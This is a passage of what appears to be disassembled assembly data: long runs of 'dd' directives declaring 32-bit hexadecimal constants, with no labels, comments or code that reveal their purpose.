		dd 36C42D91h, 58493C37h, 0A8028946h, 0DEE285D8h, 5106F31h
		dd 5B06D8D0h, 8FD285FEh, 0FB9C81D1h, 6D08B218h,	0C4963D6Eh
		dd 9AA540C0h, 3FF63A6Dh, 2C808A89h, 79EC2742h, 0C0044FE0h
		dd 77B15CE6h, 0A09D1C93h, 0C0982299h, 8881BB11h, 0BFE63ED7h
		dd 77162E0Eh, 23CC89BEh, 0E88A5570h, 78EA598Eh,	5D420070h
		dd 3399EEBCh, 540C19CBh, 586AB80Fh, 82048C98h, 803ED488h
		dd 5820B362h, 3A45888Bh, 118289D4h, 161D213Eh, 6778D082h
		dd 2DC105DFh, 0EA51E040h, 9FA097Ch, 37B8B88h, 8022B410h
		dd 675F7A00h, 7044495Eh, 0A8AD03DBh, 2F8138D9h,	83044003h
		dd 2A54C32h, 97E084B8h,	9840B30Ah, 57E53DC4h, 0DAEFC1D8h
		dd 761880CBh, 57C1A65Ch, 805B2856h, 0B7160F38h,	0F527ABFh
		dd 8989A46Fh, 0FB72F030h, 0A783AD10h, 0FB8AFFE0h, 4B59DC00h
		dd 0DF29EA04h, 2D4430B6h, 0E40A021h, 1EEE8B0Ch,	44288CEh
		dd 5C313B39h, 88308EBEh, 79ABC056h, 3D284282h, 948080B9h
		dd 0CF04E95Ch, 0B41E7D8Ch, 40D62492h, 3DF4D3BDh, 0A801F837h
		dd 3C66343Dh, 20322059h, 1EBFE10Ah, 35889C96h, 0F05C80C7h
		dd 0DF262505h, 85835A03h, 24B91EBEh, 11688828h,	6DAC80D1h
		dd 8C063D74h, 907FC844h, 151BE6E8h, 0BC95825Bh,	0FB008B3Bh
		dd 22D4AB71h, 2492AF23h, 6859E900h, 0F91BE79Eh,	68B00DFh
		dd 0D8E6AA46h, 0B600E88Ah, 16ADC00Ah, 0EA45BFA7h, 0E309055Bh
		dd 1BA1C1Ah, 2336E788h,	857430CCh, 5B296A13h, 45319C00h
		dd 0F87FACF9h, 0D51639A0h, 0F314C58Eh, 608A2A05h, 80D8A7C4h
		dd 11A6E223h, 0CF060067h, 526094D8h, 0DB400044h, 0DEB0DA73h
		dd 0AB389DBFh, 49127B04h, 580F0FB5h, 93CA85E2h,	2904A01Fh
		dd 5CD1E7A9h, 8CD89D0Ah, 9810A28Eh, 3245FF8Ch, 2BC8B023h
		dd 1A412848h, 0E8A6A037h, 4D309A89h, 3EA36EB0h,	98D8881Dh
		dd 1E302070h, 0D9121C9h, 46FD0037h, 0D7C82349h,	81002484h
		dd 54DCA0D1h, 0E6AD3C52h, 89A76965h, 5D7B4804h,	0BFE0E901h
		dd 0BC259272h, 60D7D030h, 98CAC8BAh, 0E50E529h,	830CEA80h
		dd 48B38152h, 0B8275858h, 98F5AA83h, 9D3E4810h,	0CCE84848h
		dd 6457138Ch, 186C0603h, 98A0E1B8h, 7B05B920h, 951E67C9h
		dd 3804CC41h, 0DDF81842h, 0C3A0C3E4h, 5ED91A19h, 0FCB4522Dh
		dd 0E26DB130h, 22AE463Dh, 987A3FC1h, 0C016279Ch, 0F2CE31FFh
		dd 1926522Bh, 358AB8C0h, 40838CEBh, 26C9DC1Ah, 110C8E18h
		dd 0D8D58088h, 8CD6E282h, 85544h, 223ED8FDh, 6865796Bh
		dd 0DC43FF0Ch, 92C215Fh, 921CDA1Ah, 0E0D44883h,	8C934128h
		dd 7E84B944h, 9C404CEAh, 783E5A0Ah, 74850AA8h, 0D029BCh
		dd 91B8CDD8h, 0E500CEFAh, 96CFB932h, 1CB0F1h, 825D05D6h
		dd 0B76D7C2Ah, 0C422BA18h, 1D7F3C39h, 41159466h, 3937BEF9h
		dd 0AA4FDC4Eh, 6DA8B003h, 9D2B18Ch, 539830C0h, 0CC41E432h
		dd 871188Eh, 8F83ACFBh,	0C04001C4h, 19A2FB89h, 0CCEA6C24h
		dd 36F6404h, 30942492h,	0A8088886h, 64BE603Eh, 8F5C40CAh
		dd 0CAE0488h, 0E5EBD532h, 0B5C0990h, 8CCDE86Ch,	4F1DFD78h
		dd 6C534A85h, 0E2344C03h, 0EC14CDFAh, 0E6198280h, 73C88783h
		dd 98F093D3h, 0C3057A34h, 6806AC21h, 1F9519C8h,	1888EE58h
		dd 82506A5Ch, 1E9713DEh, 3EEC42A9h, 0E3052D5Fh,	0E1FAF080h
		dd 0AA522497h, 5B3583D0h, 0F10AC296h, 44DFB77Bh, 0E069F20Fh
		dd 7476A236h, 53A00CE2h, 48B1F7E1h, 0B08A228Ch,	2B00DA7Fh
		dd 4DA35E51h, 65220495h, 919B61BFh, 0E68A8B50h,	0C7EA4841h
		dd 5CDB4018h, 0DAAAA9h,	50F309C9h, 0E5C3654Ah, 0D2098898h
		dd 8538E2h, 0E4748B14h,	6EB41EF4h, 8000A4ACh, 0C2320684h
		dd 220A79D0h, 0C8711E04h, 42E18341h, 1A5C7889h,	0D2EA3800h
		dd 0FF0FF516h, 3CB6EE28h, 8C98AECAh, 8B1B6502h,	0B9D8607Dh
		dd 47E0800Bh, 832310A1h, 40B19BC9h, 97900771h, 0DEF8A394h
		dd 11925360h, 0DE0185AFh, 6476CAE3h, 82D0CE2Eh,	0D78924C8h
		dd 0D4B1128h, 51EBDCABh, 0AC50C5D5h, 605A32B0h,	810ED048h
		dd 0DF2AC084h, 2090D4C3h, 90B31720h, 7E510C8h, 12448FC5h
		dd 30961092h, 0A6088880h, 64BE503Eh, 895A40AEh,	0E9C088h
		dd 98038D41h, 0C4E5833Bh, 99C93630h, 0C0C62392h, 704AFE31h
		dd 300E832h, 0E25393E5h, 2FA2A1h, 0E1D1C558h, 9D78C3FEh
		dd 0E4905D75h, 817A7421h, 83AAFB73h, 8814187Fh,	0FB008BEAh
		dd 3EDC7D8Fh, 0C3334DBh
		dd 0C023E38Ch, 0B6029F81h, 0FDEDF292h, 0D12D60CAh, 9A223044h
		dd 0D2293AF1h, 33787702h, 80B64FD5h, 9376A898h,	0BDCF3436h
		dd 1C4A210h, 0AF316424h, 0B8439614h, 0CB0F98BFh, 1364B09Bh
		dd 12739703h, 8804CB48h, 0ED2AC013h, 4625BCF3h,	83B480A7h
		dd 0BE5B05Ch, 0DF11D7F4h, 805FD304h, 77337930h,	0BC5C8201h
		dd 9BDCAC8Bh, 30DA0C61h, 0E2FED8D2h, 7122EE46h,	0D8FA0300h
		dd 80FDBB6Ch, 0ECED63DCh, 210E5E3Dh, 6EB648E5h,	5AE10084h
		dd 34C438FBh, 4261C237h, 0A1015D80h, 18CF80C9h,	726D0BAEh
		dd 349CF63Dh, 6D957900h, 70C9EFAEh, 29705A4h, 93BC4B1h
		dd 0B000E060h, 8036C539h, 8E62BE04h, 3E00C61Ah,	0FDAA567Fh
		dd 3C05D27Fh, 2B4532EAh, 0C822C049h, 3D644D8h, 0A8D31960h
		dd 1880992Dh, 4C050B4Fh, 89DA388Bh, 0EB13FC04h,	3D80553h
		dd 17B00102h, 80CA1ED2h, 8F8E6AB1h, 1CD6B70Bh, 0BEB12EA1h
		dd 1D1E3680h, 0D3969368h, 31424304h, 8C014F1h, 0BF79BA87h
		dd 8B098370h, 4BB1233h,	8C609AB8h, 3E23D288h, 7B71170h
		dd 0C877556h, 0DF526110h, 1DBF8D9h, 792EC490h, 28DD6A08h
		dd 4CB703F4h, 8093A35Ch, 1C89062Bh, 8049F494h, 8271FE40h
		dd 0DF1C2E4Ah, 0E19F3E08h, 0C213DEC5h, 0CD6A5891h, 3D061C28h
		dd 18B21BD5h, 394BD17Eh, 7A8F9820h, 0E77180CEh,	0CF41302h
		dd 600626C2h, 81E9F984h, 0C331924Bh, 7A758404h,	0B1FB6E30h
		dd 11878323h, 86EB0012h, 0C1C72BFBh, 0CC1C01D3h, 0B15B23C0h
		dd 886838A4h, 8885C095h, 68533EABh, 8E5983A0h, 41388888h
		dd 6C0006Ah, 405E16A3h,	0E4BA3549h, 2220EC90h, 490B28Fh
		dd 0D6E63CB7h, 2988F1B3h, 7E6CB8FCh, 31EE6E8h, 0DD3CD8C0h
		dd 5009E3DFh, 2EBD3D19h, 7F12BF2Ch, 0DB854047h,	0E540B81Ah
		dd 166BB217h, 0AB9A423h, 81CC3B08h, 1D2018A8h, 0C3C08E0Ah
		dd 0EC3A692Fh, 40CD40E0h, 594A243Dh, 1A8305B0h,	0F400A99Ch
		dd 63F0ED31h, 0B00907Eh, 0ADAB8208h, 1140244Ch,	420A74Bh
		dd 357D3AD1h, 84F42083h, 56C844CBh, 8457C5C0h, 0BEB9306Ah
		dd 0A3823360h, 7DFC511Fh, 5FD2DB00h, 12046F93h,	80492311h
		dd 50C418D8h, 2BE73C03h, 90309E56h, 0B51636h, 43F36B20h
		dd 0E21925C6h, 0F872BA00h, 0ED283FEAh, 559B0016h, 244BE664h
		dd 95001CC7h, 0D2461801h, 3CD55E5Dh, 848036DAh,	0FEB1FC0Eh
		dd 0C9036686h, 4498B5A5h, 0C615F90Fh, 54CAE0h, 0B24A0685h
		dd 90020D43h, 8AE3CC00h, 720EA784h, 7A590068h, 0D0F7D8EFh
		dd 1A01523Ch, 0DC7CF48Eh, 608073FEh, 51360882h,	0F818D680h
		dd 88707B43h, 4B6C07F9h, 53FCEBBEh, 73D04EDEh, 0E4120F9Ch
		dd 384AA3C6h, 803C54F1h, 0FE1AEE17h, 165F4AFh, 5E370659h
		dd 50CACF96h, 0E00F26C8h, 0EA612209h, 70E18094h, 9A2CE2h
		dd 0AD8FC2BEh, 0E87A365Eh, 84DAB500h, 0BB157325h, 804301B3h
		dd 1DBA5C52h, 0F81080BEh, 7F3767F9h, 47B81F03h,	81DF0001h
		dd 0B42F6411h, 6179F01Eh, 73634Fh, 1417DBA3h, 0C46D003Eh
		dd 0E36823C3h, 1F18CD86h, 0A936C170h, 0CA59000Eh, 56035092h
		dd 0D40E6167h, 0EEDBDFD5h, 0C0070F53h, 6F22932Fh, 758200E7h
		dd 3AE7490h, 83009688h,	31D54C89h, 0A91657h, 4DE45510h
		dd 0BD3609B2h, 56788100h, 0C5F6D073h, 17AD000Ch, 7FD6B3EBh
		dd 0C698A8FFh, 29875000h, 956316DFh, 0A1D50A53h, 1A40EBEh
		dd 5DEC02C3h, 8D7DF814h, 0CAE9AA15h, 77A24C4h, 0A1B07C1Dh
		dd 1F7A27Eh, 0C4963194h, 81512799h, 50BAD4C8h, 0DC40AF97h
		dd 0FF357Ah, 52E1EC43h,	0EFD7C698h, 777E460Fh, 0FD9123F2h
		dd 4F97F8A1h, 846D0120h, 335AB3A8h, 8E9E82FCh, 0C97BE82Ah
		dd 0D0CB65CCh, 9CB08Fh,	2FE9A752h, 0F770EFAFh, 0A9673A00h
		dd 7E0D0EACh, 8A192711h, 0B400827Eh, 0CD85E2Dh,	0A48E0950h
		dd 68004862h, 25F9EA6Fh, 724F0A00h, 3C6C98A2h, 0A3390017h
		dd 1EC956A7h, 30004A44h, 9E744036h, 4DB5CAE8h, 0C460D096h
		dd 0F52BA317h, 0A9B99500h, 8763F6B6h, 6BFA0008h, 4029D21Ch
		dd 0D49A035h, 389B0774h, 0B44005B7h, 0D1AC48h, 0A73CC9DCh
		dd 40F78FADh, 32248500h, 0D078DE6Eh, 5CA30489h,	8062D5B7h
		dd 3AE8A2B0h, 5CA648h, 6F765A1Bh, 0C39286h, 95AA653Dh
		dd 98CEFA0Eh, 96B32826h, 0EFA7FF00h, 6B7E9Eh, 0E5645936h
		dd 9BDFB0CAh, 6D2D7800h, 0E495653h, 0CCBC003Bh,	8F162C41h
		dd 0E9C1B1A9h, 3CF0AEF1h, 6028DDE4h, 438AA86Bh,	3D00DE71h
		dd 0AD830E52h, 0DC3945Fh, 5ECE4A0Ch, 85A6198h, 6C001D40h
		dd 0AF87FC1Fh, 0EBC180h, 27A37616h, 4FB62DF9h, 64713200h
		dd 0BFCE1204h, 0C380A17Ch, 4597D0h, 323E6F9Ah, 101E0AB5h
		dd 0EB9F5302h, 42D998BAh, 79004881h, 710700ADh,	0D2F8EAF6h
		dd 0EC023B28h, 22DF5446h, 0F8206B65h, 3023307Ch, 5910EF94h
		dd 73031671h, 15E71120h, 4319029Eh, 4D57E249h, 0B4B64048h
		dd 6DC59500h, 673B9081h, 0CB0001Bh, 0AF3DF275h,	84FB1232h
		dd 0E5591D0h, 844380C5h, 0E3E97A1h, 1AAE85D0h, 98342EA1h
		dd 483A3047h, 0D526DA07h, 0DF206FA8h, 12A2C9E1h, 20F3BEC8h
		dd 1A324E5Ch, 0DE670800h, 0AA1DF022h, 1E920001h, 755D1760h
		dd 0CC77C5FEh, 5200337Bh, 0C9A0730Ah, 1D98D67h,	0FCB605B5h
		dd 0D44CF0D3h, 0E800D407h, 7CBA7A2Dh, 2E5C7Eh, 3BE7A85Eh
		dd 0FFCBBFAAh, 0BFD9F93Ch, 0A291802Bh, 218AC631h, 0B46005Eh
		dd 0BA7DA5A0h, 0F00467EEh, 0BEE21B4Fh, 875AFC80h, 0F98E0009h
		dd 0DA551ECAh, 3E004098h, 4DC35CECh, 468D0Bh, 0AF8843BBh
		dd 96325B3Bh, 10542200h, 0D77ED801h, 4D60FD4h, 594F97C1h
		dd 0F4A865A1h, 58AAE403h, 6E711A71h, 0B94A6700h, 4C97AD9Dh
		dd 0BA37003Fh, 7A46A6FAh, 0C4001B95h, 0ADCBC14Ah, 0F46CA8B3h
		dd 1AD50313h, 0FB58914Fh, 3C6A51F0h, 8D5CE400h,	662FEAC0h
		dd 358B33Eh, 8C7959F6h,	5CEE7B0h, 63B33700h, 0C3496656h
		dd 81671257h, 1CC809B1h, 0C81B24E8h, 0E0B8FA09h, 37348047h
		dd 0B567520h, 0A1157794h, 4BE7F200h, 2F007E93h,	0ABFD13CBh
		dd 0F27A975Fh, 0FE0E02CDh, 788D4DE9h, 4CB01080h, 69007990h
		dd 95D00DCCh, 2664F983h, 80D03184h, 44B721ADh, 324CDF1Eh
		dd 2DA30BE9h, 0CEC4A799h, 69408687h, 40B7D6AAh,	81073BC3h
		dd 0BFAF1C31h, 0A0C03EB3h, 0F5A3D1h, 8775CAA1h,	56D44796h
		dd 2CFCCB1Ch, 0F7AF4903h, 0E642887Fh, 83AE0FD6h, 85608611h
		dd 6E4A97B7h, 8C80789Eh, 9082733Dh, 76E003BCh, 2E1E64DFh
		dd 0CF09B101h, 0FFABB097h, 0D0E74843h, 0A865710Eh, 0F8FF2314h
		dd 91083A8Bh, 3D705580h, 93C6CA81h, 3DB041E0h, 544BAF00h
		dd 2DC4733Eh, 63E63EDAh, 0AE2F4700h, 5662B38Fh,	8DCC5800h
		dd 1EAC1BBEh, 0E91404C6h, 0EED99D4Eh, 93488BC0h, 30971C43h
		dd 25AE00DAh, 375226BFh, 6ADCCA0Dh, 2A903Eh, 8E58B0Eh
		dd 1A38D759h, 0A62E75DBh, 35807C4Dh, 27035807h,	0B0BD1E94h
		dd 720245Ch, 0A0B997EFh, 695ADB08h, 5BC7C500h, 0D8BDF173h
		dd 0BE7D89h, 0A1509C84h, 0FAA922EFh, 3765640Bh,	5B582254h
		dd 6A407704h, 1C0C39C8h, 707D0B8Dh, 0E5D4001Bh,	0EA629C66h
		dd 0E00DDF3h, 5F847141h, 604A3Ch, 0B3C7F9F1h, 15E6CFBAh
		dd 48777F2Ch, 4F058824h, 0C8067FAh, 12C86Ch, 6D7CB76h
		dd 0C1E3C33Fh, 0C20128C0h, 3E2ECCDh, 0DEED03AAh, 0BFD09151h
		dd 4248986Bh, 1A1501F0h
		dd 33A14E7Fh, 3966060h,	5CA02294h, 0EA0C85Eh, 0AC98C979h
		dd 4C403207h, 0FBE06980h, 17B48AECh, 0E32662h, 49D7EDBCh
		dd 0AFF4706Ch, 0DD0380F4h, 72B0484Ch, 0C1FD89C7h, 31BB5DCh
		dd 0CC4514Dh, 0A886D97Bh, 0CD15D000h, 55BE734Ah, 5E7A0B22h
		dd 0A080BB39h, 0D285879Ah, 0A8303428h, 3178D102h, 0E010CBDEh
		dd 8857BA34h, 1000CA5h,	1734F872h, 46C06CFh, 49F12011h
		dd 0B248A21Ah, 0D7F821C5h, 67BBE80Ah, 0F843Ch, 53366417h
		dd 0BBF52E2h, 40D48AEDh, 8CE05080h, 9248302Ah, 46E3011Ch
		dd 0F69419DAh, 0A6C330h, 0F57C3F13h, 373DA7F3h,	1B84DE00h
		dd 734BF166h, 0F85800E1h, 0A363902Ch, 45020AE2h, 66783177h
		dd 0FA68C8B2h, 0B11B2639h, 999300B0h, 3669C59Fh, 0E9427800h
		dd 4B6C3B52h, 6BBD1D34h, 778280CCh, 0F5D60635h,	5B946700h
		dd 0D5EAE3EFh, 0A3D0131Ch, 21DB00ECh, 5723C79Eh, 0A60B9B14h
		dd 0DA990FC4h, 4E670086h, 1F24395h, 7D11E83Ch, 0F41F4793h
		dd 0E4120FAEh, 0F4406C7Fh, 3492CAD0h, 0A25D0E14h, 0E360FC70h
		dd 57F87D71h, 0F9A39F00h, 9BCAACFEh, 28CB7080h,	1C6A23Bh
		dd 6ED610CFh, 0D8F9CE72h, 500889Fh, 2560ADF6h, 0FDC9474h
		dd 6E8343BCh, 0A3A8FF21h, 0B7AA6003h, 33B69600h, 792FFDD1h
		dd 63BE00B2h, 0B50106F6h, 683D8075h, 4C9A8032h,	7D193FE7h
		dd 7BE800A1h, 0F484E52Ch, 0F0C012C1h, 0F226AD28h, 71190FC7h
		dd 6A021F40h, 842FB85h,	0B5E36740h, 430FA9E6h, 0A3D2BB22h
		dd 0E0A347B8h, 92949576h, 0F481E18h, 25EE807Ch,	6563E2D0h
		dd 7A0C497Fh, 0C8D2603Bh, 0F8D5016Fh, 0E7B8DF3Fh, 7720248Ch
		dd 5A00DA72h, 9AFAEBB5h, 0D6ACD0h, 8D042F13h, 0B957A36Eh
		dd 1129F116h, 0FE40B81Ch, 0E2B349DBh, 8E40023h,	519CD98Ch
		dd 0F7E0E8A2h, 600F494h, 280413ACh, 4ACAF868h, 3A804411h
		dd 6E002E76h, 4DE33EBh,	6C03AF61h, 0CA883E17h, 341000F8h
		dd 0E886C3B1h, 8302E68Ch, 2B3811CCh, 54CE3C0h, 0F2A3F45Ch
		dd 0B8ACC032h, 990703Dh, 98103569h, 0A87AD4h, 5C3313D5h
		dd 3009E406h, 0F3E3E60Bh, 3FBC8093h, 0F2B0E8h, 7B8178E5h
		dd 509DB339h, 1D332B00h, 0D05FBFCBh, 3AA576F6h,	0C380C2BDh
		dd 42B48544h, 393B9C0Fh, 913600BCh, 0DEA1E36Bh,	6E880BC4h
		dd 38C37AD6h, 1A37CEC8h, 56F29302h, 0F8BC57E4h,	49B00BCh
		dd 0E254552h, 0E107F059h, 0AC23A7E8h, 795D93h, 72A41A0h
		dd 59F5ED0Dh, 9E688F26h, 72EE8A00h, 4B746Dh, 7F2A9A1Bh
		dd 69133010h, 0E8CC990Fh, 4FDDEFF1h, 0C03C2E7Ch, 0FD0C2460h
		dd 45A8C4D9h, 1EB092CCh, 4B0F3C72h, 0A0489115h,	568CA364h
		dd 960903Bh, 8E596BFCh,	749A6800h, 0F4002931h, 0BC80D048h
		dd 7B71204h, 779C3D37h,	0C51670D1h, 24B218B0h, 89015A01h
		dd 0B16C4752h, 0A5FB60h, 0A25218Bh, 12801C55h, 0B4ED9400h
		dd 788C2E7Ah, 0B5CE00FEh, 0C43FD388h, 0BE17B968h, 2D14B6E8h
		dd 9F13A74h, 206A6C95h,	0F0AFAB38h, 25173DEBh, 30F9CB80h
		dd 4A674236h, 0C999BD07h, 31600CAEh, 359F8D0h, 33030514h
		dd 0D2918BC7h, 2516D4DCh, 0EE28D500h, 0F6B5AA56h, 7E9024h
		dd 2C336F7Fh, 0D6895879h, 0E722F40Ch, 0DE180Dh,	38665E2Bh
		dd 0A12EEEA6h, 0CD62C900h, 34D458E5h, 8A0C0018h, 0E1A01EBFh
		dd 0F230A6B8h, 0A9BA6835h, 0D76F00A4h, 0ED2D56F6h, 5E00554Ch
		dd 0EBE78E2Ch, 4874ADh,	451D26F0h, 0DF1372FFh, 16E174Ch
		dd 0E0D788ECh, 76C87A3Eh, 7F79006Fh, 0B4A5BD5Bh, 0A03F43CBh
		dd 2AA90289h, 80092C7Eh, 2823F098h, 496401D6h, 0D05D6E66h
		dd 801DE001h, 1FC4B400h, 0F0042E2Ah, 3AEE4BAh, 79A978Dh
		dd 0E5D8A6C0h, 0FF7C302Ch, 32CD1FCh, 219D1CB4h,	0A4F1F400h
		dd 97E9A8h, 50543AF7h, 944C996Ah, 968F2B00h, 8774FC67h
		dd 0D1720005h, 3FEE1C0Dh, 0E303B64Ch, 6D247B9Bh, 41D011DFh
		dd 59E4007Eh, 0C3124726h, 6D611D09h, 2862613h, 2F728FB7h
		dd 0C5653060h, 0FC07D7F8h, 0B2A6776Fh, 0C9051DB0h, 297250h
		dd 69E7F698h, 0D431942Bh, 0A3FE40Eh, 8F70604Eh,	0ECD19D9h
		dd 372DB288h, 4C9EA1E0h, 0FE183841h, 0E4198BAAh, 5B1000AFh
		dd 2C4E6C93h, 40488E9Fh, 46D20090h, 0C551544Ch,	9769C511h
		dd 4934C8DCh, 1AC62D00h, 7658837Ch, 0FBB00253h,	0CD6824D0h
		dd 305CA842h, 0DA553A81h, 0AC509221h, 5CAD4D3Fh, 120246DFh
		dd 0D9305C8Bh, 6D8C18E0h, 0F05783Bh, 0C784F0C0h, 7E07443h
		dd 2831FECh, 0DB764192h, 1080EE11h, 0FF10DA6Dh,	905AF600h
		dd 633D8CB6h, 0D0524BCEh, 0A67CE500h, 5FD61800h, 0A797D780h
		dd 5C239FA2h, 87B7A03Eh, 0C811CCB4h, 5201CFFCh,	0E5380549h
		dd 40F28564h, 1FC17F5h,	51E2D23Eh, 0F7AF816Dh, 6E489790h
		dd 0EA5BBF09h, 0E23C84D3h, 5EFCA0h, 0F3ABD211h,	5A7A44A6h
		dd 0BC9DAA07h, 50B472CEh, 8D200C87h, 5F1620E2h,	4AD444FDh
		dd 1C28B440h, 0D679A776h, 0DA80A8D8h, 106C504Ah, 1CF95016h
		dd 7F50C044h, 0EB219E81h, 1D68C5Ch, 27F2FC4Bh, 98C09F36h
		dd 4D8B00F9h, 35AD6CBBh, 1D00FF71h, 0C5D19188h,	145233D7h
		dd 91B23D0Ch, 0D94AA800h, 8519A7CEh, 2EFBAA0Eh,	0B0E68049h
		dd 0A80966h, 3A7234D0h,	7818871h, 0C367FC00h, 0C0FF7EC7h
		dd 366E4DBh, 12063151h,	7490AB77h, 1900A5CFh, 0E517EE72h
		dd 0A9C3ACh, 0C7BB329Ah, 0E49DCDD1h, 7D7215EEh,	0D6309700h
		dd 52707633h, 7E100035h, 63FD13F1h, 235E2B93h, 4083BC4Eh
		dd 0EB9C11DDh, 0B44D00A0h, 2316D2C9h, 90A0A57Dh, 51747B3Ah
		dd 0E06531CEh, 0FF89793h, 0BDCF0009h, 33707136h, 281CAA90h
		dd 7D45326Eh, 80F4DEB7h, 0F835F8ABh, 5A7C34h, 0D2167C4Ch
		dd 7FC6F5EBh, 31ECE177h, 0D600ABF4h, 0D14135CFh, 4187C64h
		dd 19B93D56h, 65A8A915h, 0FC000840h, 953EEA5Fh,	698FE182h
		dd 0E0A138ECh, 0C85A498Ch, 4F3A4308h, 80C43E8Bh, 0E6140925h
		dd 2F6A11h, 0E7581FBh, 0C8F5FF84h, 5229541Dh, 0CEA1DB80h
		dd 2748CBh, 96DDD950h, 0EA47C6CDh, 0DAD65100h, 0E559FA32h
		dd 64A00A1h, 55FB5074h,	7E0005D9h, 0BB124354h, 0B89038D6h
		dd 5EB43ED1h, 0D3170070h, 0CC57F9B3h, 0AB0056B8h, 8B8D3E23h
		dd 419E61h, 71692894h, 0F73AAC07h, 9913A41Eh, 5C6F3900h
		dd 6C5143h, 5C2DC23h, 0EA385479h, 4F3F3B00h, 10E9A7E7h
		dd 429881h, 389315Ah, 684D62F8h, 80B4523Eh, 42CEE2B8h
		dd 5ED6Ch, 3984D7DAh, 519B50B7h, 373C7576h, 3CD90017h
		dd 667FA595h, 6CD201B5h, 4C506735h, 7025CDC5h, 0C4382291h
		dd 0F9EF874Eh, 0A02A80C6h, 0B008A16h, 0EF4F81Dh, 0BAE600D8h
		dd 50FFB7AEh, 0CC3DCE7Ah, 5C2680B0h, 0F1948DA2h, 2475ACh
		dd 9CB20E1Ah, 96E3AF75h, 68CA1C37h, 0E1638712h,	6092EA14h
		dd 92DF0F52h, 1110F060h, 98006623h, 0B83883D2h,	3AFDD51h
		dd 0EA3B5F0Bh, 19C8D925h, 7007F037h, 0F8BA1424h, 1983DB0h
		dd 466800DDh, 8E4790B4h, 0D900A486h, 0CF65925Bh, 6C2E95h
		dd 0EEA59481h, 34D2173Eh, 85360106h, 1261A490h,	7FA837Eh
		dd 0E1E9329Ah, 0CC803918h, 9100EF96h, 6777BE06h, 3DC58630h
		dd 2393EA3Ah, 621E00DAh, 0E6C73C31h, 2FC3880Ch,	15920C8h
		dd 83308456h, 7064FEFDh, 0E35C8634h, 808A282Fh,	5E96801h
		dd 0AE139A32h, 3F7670h,	0EEF32615h, 2DF49B37h, 8B744400h
		dd 0EA417EABh, 92A815CDh
		dd 0D838C4E5h, 0DD5C4D80h, 0EC32327h, 0BFB8EB01h, 6E14EEEFh
		dd 2D49997h, 0DAA82D6Fh, 0A45E6440h, 6CE71502h,	83D6AA60h
		dd 0B8F07CCCh, 489F441Ch, 20068029h, 9C0B87CBh,	2203817Ah
		dd 0EA371F50h, 83AC8839h, 0BA09021Ah, 0B364016Fh, 6F020F77h
		dd 0CFC5429h, 0E8CB1F79h, 0A2780387h, 25F7FB91h, 0C977D104h
		dd 0A1C0F09Eh, 0B2A994h, 0EC6197D2h, 0AD8CE7A4h, 3E273C00h
		dd 7CAEB946h, 0E6AF0725h, 0B0B6206Ah, 8FA98A90h, 0F2C6C400h
		dd 0C7E39614h, 5A40002Eh, 1E97BC6Dh, 0E51FA1FEh, 0BF80D417h
		dd 33B94CD9h, 0FC5C2AC9h, 0C6E701F8h, 30F2272Bh, 1C4B60ADh
		dd 0B858BC00h, 3FF8F978h, 3A7900FBh, 0D9EAA388h, 2E0FA08Fh
		dd 0E3CDA856h, 0E9116061h, 0E9966EE3h, 0D88B00F5h, 6F989B1Fh
		dd 583D6700h, 0A777DE8Eh, 90420392h, 17790A21h,	0E8F44EEDh
		dd 63A59DA1h, 4E6A7081h, 8700D5F2h, 0FD2321B6h,	0AF52E0h
		dd 9A569C49h, 1DEC06DBh, 0F3989D00h, 0A401FBFAh, 888D0093h
		dd 7F43DCCAh, 130F1227h, 8F91DE0Eh, 0A54DC081h,	1C587BC4h
		dd 982E833Dh, 28F42840h, 80EDF00h, 13F5FA1Fh, 567503ACh
		dd 0DCAB3E63h, 0A6F0C7E8h, 0AE6F0A00h, 2B09C849h, 0A5F2005Eh
		dd 0F3C04F90h, 7600B31Ah, 9A8D9F0Eh, 7064597h, 0D528EA05h
		dd 926EA11Eh, 4D55E429h, 0E7D1D000h, 0B4C8F13Ah, 6F7005Fh
		dd 2938FF14h, 898E233h,	0D0381A7Dh, 957100B9h, 0FDDD8990h
		dd 9BFE009Ch, 77983F87h, 7000F08h, 4F6CAD43h, 76170C76h
		dd 0D0E71FB4h, 0B61DFC19h, 0FCD600F3h, 47155F52h, 80E07638h
		dd 618626C1h, 6D3377h, 0D5AD39Bh, 0F10B6688h, 80181701h
		dd 572AD9B1h, 0A20018BFh, 0A3F9F88Bh, 0B81F1D90h, 49808D53h
		dd 3E5A83BAh, 4D360591h, 0C00879D8h, 0E7288E1Fh, 7D1C2C1Eh
		dd 1B72500h, 908B6E23h,	40653E10h, 36A92B80h, 0AB9E471Bh
		dd 0BCAECD24h, 0A50A0900h, 24E9FEE3h, 37C2D03h,	1A923AB6h
		dd 408837A3h, 0BE0E439h, 2028AD30h, 30FDF170h, 1131FE16h
		dd 89127FD9h, 870E7A6Fh, 0D3187865h, 0C505860h,	4752D202h
		dd 0C069DC5Fh, 97B8482Fh, 0E7A11500h, 854D743Ch, 9618A039h
		dd 5B6A0048h, 0A22AF878h, 0F40007BDh, 637ED505h, 9AE259h
		dd 9BC8431Bh, 77DD0846h, 2310E303h, 0E03E8696h,	78C0D3E6h
		dd 11B900CAh, 0A68B8F88h, 7002C92h, 10872AD6h, 0EB4E7E0h
		dd 746952F7h, 86A78122h, 38AE1460h, 84509300h, 5CBC5D76h
		dd 4E3348F3h, 452A0A00h, 3508CA73h, 6C39B500h, 0CBEC537Bh
		dd 0EBB98E3h, 0D8408B79h, 0A27280BEh, 7DA41A87h, 4E95D900h
		dd 341C5002h, 0BFEA0068h, 8C2FADD4h, 0EC008092h, 40E1B98h
		dd 0F8719Eh, 4709E08Bh,	0F49D5D53h, 0E40F2C24h,	1C00D016h
		dd 0DF98D887h, 1A5E005Ch, 339CD621h, 0AF00600Bh, 36657085h
		dd 0D07C3Ch, 0B5766ECBh, 0D3FFB3B8h, 0B00C278h,	8ADF34A6h
		dd 62CA44h, 0C898A154h,	0D57D89F6h, 59AE500h, 65345E4Ch
		dd 2A710BB5h, 0D020E8F9h, 1AC43F29h, 0C50DEE0Eh, 439622C9h
		dd 0C3A88011h, 38D5D8Fh, 16453547h, 68D092BEh, 10A01741h
		dd 447E6660h, 0C1E94200h, 10F15478h, 6A243509h,	5488160h
		dd 7003FF56h, 3014F431h, 9311D04Eh, 0F87279F1h,	299E06D1h
		dd 28CE7690h, 0DDF1AEF0h, 67E5F0CDh, 60227500h,	0A32709ADh
		dd 0E34901E8h, 96DBFCEEh, 0E697DC29h, 33820D1Bh, 5369868h
		dd 2AF74C8h, 0C3933EE5h, 0BE04F97Dh, 2BA717C0h,	27B3006Fh
		dd 20EC4230h, 46158C2Ah, 1C8CE691h, 0CF41AF69h,	88A429B6h
